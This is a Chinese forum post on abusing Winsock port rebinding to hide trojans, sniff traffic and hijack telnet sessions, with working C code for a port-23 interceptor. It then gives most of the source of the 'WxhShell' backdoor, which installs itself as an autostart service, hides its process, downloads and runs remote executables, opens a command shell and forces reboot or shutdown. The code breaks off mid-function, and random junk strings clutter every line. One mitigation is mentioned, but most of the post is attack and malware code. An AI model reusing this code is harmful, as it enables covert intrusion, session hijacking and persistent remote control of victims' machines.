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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -b cG[W3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bc@30KiQ ^  
re; Lg C  
  saddr.sin_family = AF_INET; 9#uIC7M  
vYDSu.C@a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zI:(33)  
eUt=n)*`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {AOG"T&<  
f'&GFL=c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a mqOxb  
{>@QJlE0  
  这意味着什么?意味着可以进行如下的攻击: MY!q%  
SSE3tcRRl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pprejUR  
czI{qi5N  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mj@31YW  
n@ 4@,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4r\*@rq  
eOt%xTx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .`,F  
Uo2+:p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Vvyj  
MM#i t=u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mzGjRl=O  
1?(cmXj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;7rd;zJ  
4QE=f(u;h  
  #include r} Lb3`'  
  #include /HkFlfPd  
  #include QBoFpxh=  
  #include    Pp+~Cir  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "V4Q2T T  
  int main() vt.P*Z5  
  { }taLk@T  
  WORD wVersionRequested; Q"%S~&#'  
  DWORD ret; qe$33f*  
  WSADATA wsaData; RvyuGU  
  BOOL val; O~27/  
  SOCKADDR_IN saddr; QdDObqVdy  
  SOCKADDR_IN scaddr; MTb,Kmw<(  
  int err; 1AF%-<`?s  
  SOCKET s; >SoO4i8  
  SOCKET sc; 6PU/{c  
  int caddsize; >GXXjAIu/  
  HANDLE mt; /Pvk),ca  
  DWORD tid;   nL+p~Hi  
  wVersionRequested = MAKEWORD( 2, 2 ); yl$F~e1W  
  err = WSAStartup( wVersionRequested, &wsaData ); O2.' -  
  if ( err != 0 ) { >7'+ye6z  
  printf("error!WSAStartup failed!\n"); O$qtq(Q%  
  return -1; /kB|1gFj  
  } *YtB )6j  
  saddr.sin_family = AF_INET; Q(Gyq:L=>  
   t0Zk-/s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 abi[jxCG  
U]hF   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hv>KX  
  saddr.sin_port = htons(23); ZjD)? 4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '^iUx,,ZQ  
  { v^SsoX>WMH  
  printf("error!socket failed!\n"); q8>t!rh<R  
  return -1; @TzvT3\q  
  } :g2  }C  
  val = TRUE; (wuaxo:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7?J3ci\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) byGn,m  
  { qsI^oBD"  
  printf("error!setsockopt failed!\n"); S`m,S4-eD  
  return -1; j13DJ.xu  
  } F_=1;,K%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2.-o@im0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?mx\eX{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {6*#3m Kk  
+ZA)/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Nu^p  
  { 83 I-X95  
  ret=GetLastError(); pJBg?D  
  printf("error!bind failed!\n"); +C+<BzR~A.  
  return -1; ez\eOH6  
  } c.%.\al8oW  
  listen(s,2); ~_>cM c  
  while(1) M;jcUX_{  
  { m%QSapV  
  caddsize = sizeof(scaddr); B=n[)"5fBO  
  //接受连接请求 VUtXxvH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5u$D/* Eb  
  if(sc!=INVALID_SOCKET) &!L:"]=+  
  { P4k;O?y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #.._c?%4/  
  if(mt==NULL) Y$<D9f s3  
  { lpgd#vr  
  printf("Thread Creat Failed!\n"); y('k`>C  
  break; 8(f:U@BS  
  } 6>`c1 \8f  
  } =\};it{u  
  CloseHandle(mt); NHm]`R,  
  } 0;<)\Wt=i9  
  closesocket(s); 4)kG-[#  
  WSACleanup(); .cDOl_z<:G  
  return 0; v2)g 1sXd  
  }   < zOi4v0  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5Bjgr  
  { ;65D  
  SOCKET ss = (SOCKET)lpParam; " 6CMA 0R  
  SOCKET sc; KxzYfH  
  unsigned char buf[4096]; ,"\@fwy{  
  SOCKADDR_IN saddr; Y?K{(szo ?  
  long num; %lw! e  
  DWORD val; {X~ gwoz  
  DWORD ret; }V]R+%:w@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !H@0MQ7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   g}x(hF  
  saddr.sin_family = AF_INET; 2% B'3>a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -WJ?:?'  
  saddr.sin_port = htons(23); "V& I^YSc>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |[$~\MU  
  { x/ *-P b-_  
  printf("error!socket failed!\n"); \ZI'|Ad  
  return -1; ;# uZhd  
  } 5!X1G8h)uy  
  val = 100; ?6^|ZtB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T,%j\0  
  { K`g7$r)U[  
  ret = GetLastError(); n.}E5 %qK  
  return -1; Cbm\h/PXl  
  } p-GAe,2q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T;5r{{  
  { )%d*3\Tsd  
  ret = GetLastError(); ntVS:F  
  return -1; vBcq_sbo  
  } 2`G OJ,$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) eE GfM0  
  { tDg}Ys=4K>  
  printf("error!socket connect failed!\n"); )2IH 5  
  closesocket(sc); c!K]J  
  closesocket(ss); *Hz^K0:8(  
  return -1; V)(R]BK{  
  } AlXNg!j;5K  
  while(1) Jl3g{a  
  { 'cix`l|^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sEJC-$   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G fEX>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T .FI'wy  
  num = recv(ss,buf,4096,0); v59dh (:`Z  
  if(num>0) @.Ic z  
  send(sc,buf,num,0); /U&Opo {aO  
  else if(num==0) 9h4({EE2t  
  break; "pP^*9FrA  
  num = recv(sc,buf,4096,0); ~ `M\Ir  
  if(num>0) 0'YG6(h  
  send(ss,buf,num,0); ~\LCvcY"X  
  else if(num==0) ).^}AFta  
  break; ?iI4x%y  
  } eqw0]U\pv  
  closesocket(ss); .Z:zZ_Ev  
  closesocket(sc); ^T"vX  
  return 0 ; o%9*B%HO/  
  } {(U %i\F\  
{!t7[Ctb  
,I1 RV  
========================================================== 0j"8@<  
npJt3 Y_I  
下边附上一个代码,,WXhSHELL D=m 'pL/pl  
#P l~R  
========================================================== Ms~{9?  
8_<4-<}P:  
#include "stdafx.h" +LM#n#T  
bef_rH@`  
#include <stdio.h> Oy U  
#include <string.h> _8Kx6s%  
#include <windows.h> NS%WeAf  
#include <winsock2.h> {M-YHX>*;g  
#include <winsvc.h> ?HF%(>M  
#include <urlmon.h> S}p4iE"n  
s<qe,' Y  
#pragma comment (lib, "Ws2_32.lib") P9g en6  
#pragma comment (lib, "urlmon.lib") V=:'SL*3|  
\7Jg7*  
#define MAX_USER   100 // 最大客户端连接数 z9FfU  
#define BUF_SOCK   200 // sock buffer g35DV6  
#define KEY_BUFF   255 // 输入 buffer :8CvRO*<  
1$M@]7e+!+  
#define REBOOT     0   // 重启 79`AM X[b  
#define SHUTDOWN   1   // 关机 \b%kf99  
t2,A@2DU 2  
#define DEF_PORT   5000 // 监听端口 + s- lCz  
8!Vl   
#define REG_LEN     16   // 注册表键长度 BZ zrRC  
#define SVC_LEN     80   // NT服务名长度 Ecd;<$tk  
,lZB96r0  
// 从dll定义API ,AxdCT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QUu}Xg:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G:~k.1y[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nqInb:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \"X!2  
Y.g59X!Ub2  
// wxhshell配置信息 J ]nohICe  
struct WSCFG { su*'d:L  
  int ws_port;         // 监听端口 %Ev4]}2C1  
  char ws_passstr[REG_LEN]; // 口令 tmQH|'>>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8 7D*-Gw  
  char ws_regname[REG_LEN]; // 注册表键名 /YZr~|65  
  char ws_svcname[REG_LEN]; // 服务名 E\Rhz]G(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x>Zn?YR,"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NR`C(^}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {q"OM*L(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "?V0$-DR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i_j[?.?X}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;kY(<{2  
&*+'>UEe5  
}; `DV.+>O-1  
C?lcGt!H  
// default Wxhshell configuration mV3cp rRqv  
struct WSCFG wscfg={DEF_PORT, _lamn }(x0  
    "xuhuanlingzhe", V5UF3'3;}  
    1, !\7!3$w'8,  
    "Wxhshell", ogyTO|V=  
    "Wxhshell",  Vh_P/C+  
            "WxhShell Service", i\,-oO  
    "Wrsky Windows CmdShell Service", 3j\1S1  
    "Please Input Your Password: ", Wk)OkIFR  
  1, \O2Rhz  
  "http://www.wrsky.com/wxhshell.exe", *MKO I'  
  "Wxhshell.exe" OCNQvF~  
    }; G"h'_7  
03q 5e  
// 消息定义模块 < jJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OX\A|$GS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3yVMXK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 59h)-^!  
char *msg_ws_ext="\n\rExit."; wB.&}p9p  
char *msg_ws_end="\n\rQuit."; C{U?0!^  
char *msg_ws_boot="\n\rReboot..."; &5yV xL:  
char *msg_ws_poff="\n\rShutdown..."; .yz}ROmN^  
char *msg_ws_down="\n\rSave to "; E=nIRG|g  
vSEuk}pk  
char *msg_ws_err="\n\rErr!"; &L=suDe  
char *msg_ws_ok="\n\rOK!"; As'=tIro  
4 o Fel.o  
char ExeFile[MAX_PATH]; <0Xf9a8>  
int nUser = 0; j0oR) du  
HANDLE handles[MAX_USER]; _h{C_;a[_  
int OsIsNt; sB7# ~p A  
Zy`m!]G]80  
SERVICE_STATUS       serviceStatus; h1de[q)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A1O' |7X  
MN\HDKN  
// 函数声明 >T^;MS  
int Install(void); =l+yA>t|  
int Uninstall(void); [_k1jHr48N  
int DownloadFile(char *sURL, SOCKET wsh); 2LF/H$] o5  
int Boot(int flag); \NPmym_ 6J  
void HideProc(void); JMC. w!  
int GetOsVer(void); fp`;U_-&0  
int Wxhshell(SOCKET wsl); ;ub;l h3  
void TalkWithClient(void *cs); V<GHpFi0  
int CmdShell(SOCKET sock); X $jWo@  
int StartFromService(void); ZOh`(})hy  
int StartWxhshell(LPSTR lpCmdLine); b,7k)ND1F  
EJMM9(DQ7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,o86}6Ag  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B3 8]~'8  
l9{hq/V  
// 数据结构和表定义 GeH#I5y  
SERVICE_TABLE_ENTRY DispatchTable[] = ,E S0NA  
{ C5o#i*|  
{wscfg.ws_svcname, NTServiceMain}, >qnko9V  
{NULL, NULL} wW>A_{Y  
}; M:Pc,  
xF!,IKlBBp  
// 自我安装 ag [ZW  
int Install(void) akp-zn&je  
{ 01t1Z}!y  
  char svExeFile[MAX_PATH]; j()7_  
  HKEY key; V?6a 8lJ  
  strcpy(svExeFile,ExeFile); ,Vc6Gwm  
Tp?7_}tRi  
// 如果是win9x系统,修改注册表设为自启动 6m}Ev95  
if(!OsIsNt) { =^M/{51j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J,'M4O\S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'j#*6xD  
  RegCloseKey(key); SW@$ci  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { , qMzWa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fK>L!=Q  
  RegCloseKey(key); 9+Np4i@  
  return 0; ~!B\(@GU  
    } 'OITI TM  
  }  -*1d!  
} f,U.7E  
else { ;17E(tl  
)|ju~qbf  
// 如果是NT以上系统,安装为系统服务 P) Jgs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L +b6!2O,  
if (schSCManager!=0) X _q\Sg  
{ q+yQwX{  
  SC_HANDLE schService = CreateService f\|w '  
  ( n@<YI  
  schSCManager, V'z1  
  wscfg.ws_svcname, 1+_`^|eK  
  wscfg.ws_svcdisp, )1?y 8_B  
  SERVICE_ALL_ACCESS, 3Z>Ux3[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cuax;0{%  
  SERVICE_AUTO_START, X8Bd3-B  
  SERVICE_ERROR_NORMAL, Ytn9B}%o  
  svExeFile, KI"#f$2&  
  NULL, ER%^!xA  
  NULL, [_BP)e  
  NULL, d[iQ` YW5  
  NULL, bV^rsJm  
  NULL wON!MhA;  
  ); /CrSu  
  if (schService!=0) uy>q7C  
  { p*XANGA  
  CloseServiceHandle(schService); {&&z-^  
  CloseServiceHandle(schSCManager); ?g_3 [Fk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ; 5*&xz  
  strcat(svExeFile,wscfg.ws_svcname); 'TTLo|@"-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xr,1&"B&t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G<L;4nA)  
  RegCloseKey(key); yuh *  
  return 0; ik)|{%!K]H  
    } S\CCrje  
  } ?qb}?&1  
  CloseServiceHandle(schSCManager); 2=*H 8'k  
} Amtq"<h9a  
} wW Lj?;bx  
u+9hL4  
return 1; k R?qb6  
} 0CHH)Bku  
5?f ^Rz  
// 自我卸载 Akq2 d;  
int Uninstall(void) Z%gh3  
{ /!0={G  
  HKEY key; d-oMQGOklb  
{ a =#B)6  
if(!OsIsNt) { ]vAz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t*p71U4+I  
  RegDeleteValue(key,wscfg.ws_regname); tR# OjkvX  
  RegCloseKey(key); '+@=ILj>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (Lbbc+1m  
  RegDeleteValue(key,wscfg.ws_regname); =O~_Q-  
  RegCloseKey(key); 4S7v:1~xe  
  return 0; J"0`%'*/  
  } Sh/08+@+L:  
}  {y)=eX9  
}  CT&|QH{  
else { 5tl< 3g `  
` ./$&'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =7?4eYHC  
if (schSCManager!=0) l5~os>  
{ d9k0F OR1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]a>n:p]e  
  if (schService!=0) 1a/++4O.|  
  { YX!iL6?~  
  if(DeleteService(schService)!=0) { N"Z{5A  
  CloseServiceHandle(schService); G?yLo 'Ulo  
  CloseServiceHandle(schSCManager); irZ])a  
  return 0; >>,e4s,  
  } Q 3 ea{!r  
  CloseServiceHandle(schService); ^vZSUfS  
  } W<'m:dq  
  CloseServiceHandle(schSCManager); 91/Q9xY  
} A@`}c,G  
} )j6~Wy@4  
}H53~@WP>  
return 1; oe^I  
} %mW{n8W3{  
59LG{R2  
// 从指定url下载文件 Usvl}{L[  
int DownloadFile(char *sURL, SOCKET wsh) d z|or9&  
{ 28-RC>,@}  
  HRESULT hr; {$oj.V 4  
char seps[]= "/"; <NMEGit  
char *token; b 1c y$I  
char *file; #`^}PuQ  
char myURL[MAX_PATH]; )+#` CIv  
char myFILE[MAX_PATH]; ]U+ LJOb  
juJklSD  
strcpy(myURL,sURL); {FI&^39 F$  
  token=strtok(myURL,seps); ,CJWO bn3  
  while(token!=NULL) "69s) ~  
  { t5Sy V:fP  
    file=token; KS+'|q<?w  
  token=strtok(NULL,seps); /WcG{Wdp  
  } !t"4!3  
Z{*\S0^ST  
GetCurrentDirectory(MAX_PATH,myFILE); & l<.X  
strcat(myFILE, "\\"); YP oSRA L  
strcat(myFILE, file); aj='b.2)  
  send(wsh,myFILE,strlen(myFILE),0); &$+AXzn  
send(wsh,"...",3,0); ,~U>'&M;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x>K Or,f  
  if(hr==S_OK) 4Z3su^XR  
return 0; 6jaEv#  
else KYm0@O>;  
return 1; &C_j\7Dq  
cVv=*81\  
} `bq<$e  
}RF(CwZr(  
// 系统电源模块 phXGn m  
int Boot(int flag) rI{; IDV  
{ Z-%\ <zT  
  HANDLE hToken; ic:zsuEm  
  TOKEN_PRIVILEGES tkp; b`Zx!^  
lf|FWqqV  
  if(OsIsNt) { s S+MqBh&I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'ms-*c&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }rUN_.n4z  
    tkp.PrivilegeCount = 1; |"}FXa O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "S[450%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (MM]N=Tw4  
if(flag==REBOOT) { yZY\MB/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qz_7%c]K[  
  return 0; LBeF&sb6  
} )MVz$h{c.]  
else { Pm6p v;WK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K-)] 1BG  
  return 0; (XTG8W sN  
} ;fTKfa  
  } HQdxL*N%^  
  else { FjHv   
if(flag==REBOOT) { z _$%-6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BKCiIfkZ  
  return 0; 3DX*gsx(  
} ^CYl\.Y@  
else { Qp5VP@t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;+R&}[9,A)  
  return 0; :LQYo'@yB  
} g/d<Zfq<{  
} Vr)S{k-Q  
^oz3F]4,g  
return 1; =ZznFVJ`={  
} 2QcOR4_V  
&J]K3w1p  
// win9x进程隐藏模块 bSlF=jT[S  
void HideProc(void) y-b%T|p9  
{ 1s&zMWC  
z|J_b"u4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HVCe;eI  
  if ( hKernel != NULL ) yWc$>ne[L  
  { tKuwpT1Qc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "S]0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9<?M8_  
    FreeLibrary(hKernel); oSKXt}sh  
  } 2 RX;Ob_  
9rX&uP)j^#  
return; $99n&t$Y  
} D/gw .XYL  
Wis~$"  
// 获取操作系统版本 3pROf#M  
int GetOsVer(void) n38p!oS  
{ ub0.J#j@  
  OSVERSIONINFO winfo; ~vhE|f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _.Nbt(mz  
  GetVersionEx(&winfo); Et_bH%0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^Z+?h &%%  
  return 1; eQm1cgMdz  
  else (8DC}kckE  
  return 0; -7[@R;FS  
} 7F7 {)L  
J4C.+![!Ah  
// 客户端句柄模块 W(Fv l  
int Wxhshell(SOCKET wsl) ^)S;xb9  
{ Rok7n1gW  
  SOCKET wsh; UgSB>V<?  
  struct sockaddr_in client; O6 3<AY@  
  DWORD myID; 2wg5#i  
|A~jsz6pI  
  while(nUser<MAX_USER) I_#kgp  
{ ~W'{p  
  int nSize=sizeof(client); x+:UN'"r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mDABH@ R  
  if(wsh==INVALID_SOCKET) return 1; #G|RnV%t$~  
[b%D3-}'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >8^ $ [}w  
if(handles[nUser]==0) X7 MM2V  
  closesocket(wsh); bo>*fNqAIy  
else 4B1v4g8}  
  nUser++; 65P0,b6"OT  
  } n nEgx;Nl0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y2dCEmhY  
D/xbF`  
  return 0; 2WL|wwA  
} ZF8 yw(z  
_/$Bpr{R  
// 关闭 socket (N6i4 g6  
void CloseIt(SOCKET wsh) k Z .gO  
{ }'V5/>m[  
closesocket(wsh); \ a<h/4#|  
nUser--; /4V#C-  
ExitThread(0); t#})Awy^R  
} J?1 uKR  
=[{i{x|Qz  
// 客户端请求句柄 33x{CY15  
void TalkWithClient(void *cs) bHYy}weZ  
{ X/!o\yyT  
@f~RdO3  
  SOCKET wsh=(SOCKET)cs; wE>\7a*P%  
  char pwd[SVC_LEN]; iL&fgF"'  
  char cmd[KEY_BUFF]; 6r0krbN  
char chr[1]; %D34/=(X  
int i,j; KeB"D!={;  
WRbj01v  
  while (nUser < MAX_USER) { HYZ5EV  
ItVWO:x&v  
if(wscfg.ws_passstr) { %6,SKg p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &X ):4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -H@:*  
  //ZeroMemory(pwd,KEY_BUFF); B\=8_z  
      i=0; P>C~ i:4n  
  while(i<SVC_LEN) { .Iw AK/QS  
qp }Cqi  
  // 设置超时 O2E/jj  
  fd_set FdRead; Tya1/w4  
  struct timeval TimeOut; w~A{(- dx  
  FD_ZERO(&FdRead); hGe/ ;@%  
  FD_SET(wsh,&FdRead); dJoaCf`w  
  TimeOut.tv_sec=8; ~s*)f.l  
  TimeOut.tv_usec=0; *uf'zQ<9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^WgX Qtn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xm}/0g&7  
jDfC=a])  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S>6 ~lb8G  
  pwd=chr[0]; ]EBxl=C}D  
  if(chr[0]==0xd || chr[0]==0xa) {  .-c4wm}  
  pwd=0; =E4LRKn  
  break; u#$]?($}d  
  } Y|f[bw  
  i++; <tNBxa$gS  
    } Qf+\;@  
y/cvQY0pU  
  // 如果是非法用户,关闭 socket c /HHy,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y'S%O/$  
} - q1?? u  
5h-SCB>P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Tod&&T'UW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &\WSQmtto  
BC#C9|n  
while(1) { xp)sBM7A  
D6Ui!  
  ZeroMemory(cmd,KEY_BUFF); ColV8oVnU  
TH&U j1  
      // 自动支持客户端 telnet标准   dI(@ZV{  
  j=0; :Zbg9`d*  
  while(j<KEY_BUFF) { jh%Eq+#S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,{u yG:  
  cmd[j]=chr[0]; '(f*2eE:  
  if(chr[0]==0xa || chr[0]==0xd) { Uw. `7b>B  
  cmd[j]=0; wPd3F.<$  
  break; QUc= &5 %  
  } <4si/=  
  j++; rdP[<Y9  
    } ]Ji.Zk  
'Ym9;~(@R  
  // 下载文件 vXf!G`D  
  if(strstr(cmd,"http://")) { feDlH[$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t7Iv?5]N  
  if(DownloadFile(cmd,wsh)) |!3DPA(_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  4iazNl#  
  else w !-gJmX>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ghG**3xr  
  } {j?FNOJn  
  else { *SDs;kg  
N1}sHyVq7  
    switch(cmd[0]) { u<tbbKM  
  yy^q2P  
  // 帮助 '4+ ur`  
  case '?': { {9&;Q|D z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !Y0Vid  
    break; 9k '7832u  
  } 30#s aGV  
  // 安装 /tx]5`#@7]  
  case 'i': { TOB-aAO  
    if(Install()) I(L,8n5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? r "{}%  
    else |^"1{7)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Xz,j9GzJS  
    break; rxvx  
    } MDZ640-Y  
  // 卸载 KK/tu+"  
  case 'r': { _ @NL;w:!  
    if(Uninstall()) kzQ+j8.,U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X; \+<LE  
    else &ZlVWK~v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =vCY?I$P  
    break; zII|9y  
    } )hn6sXo+  
  // 显示 wxhshell 所在路径 u^ +7hkk  
  case 'p': { VGy<")8D/  
    char svExeFile[MAX_PATH]; N]Y d9tn{  
    strcpy(svExeFile,"\n\r"); ,Bi.1 %$  
      strcat(svExeFile,ExeFile); 9iIhte.  
        send(wsh,svExeFile,strlen(svExeFile),0); Z*]9E^  
    break; 8yR.uMI$/  
    } <sGVR5NR  
  // 重启 1y@i}<9F  
  case 'b': { ;40/yl3r3[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fx_z6a  
    if(Boot(REBOOT)) sk<3`x+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |PCm01NU!  
    else { 0y'H~(  
    closesocket(wsh); :1. L}4"gg  
    ExitThread(0); shy-Gu&  
    } mA}TJz  
    break; sQHv%]s 0  
    } p SH=%u>  
  // 关机 F3[T.sf  
  case 'd': { ^+>laOzC`8  
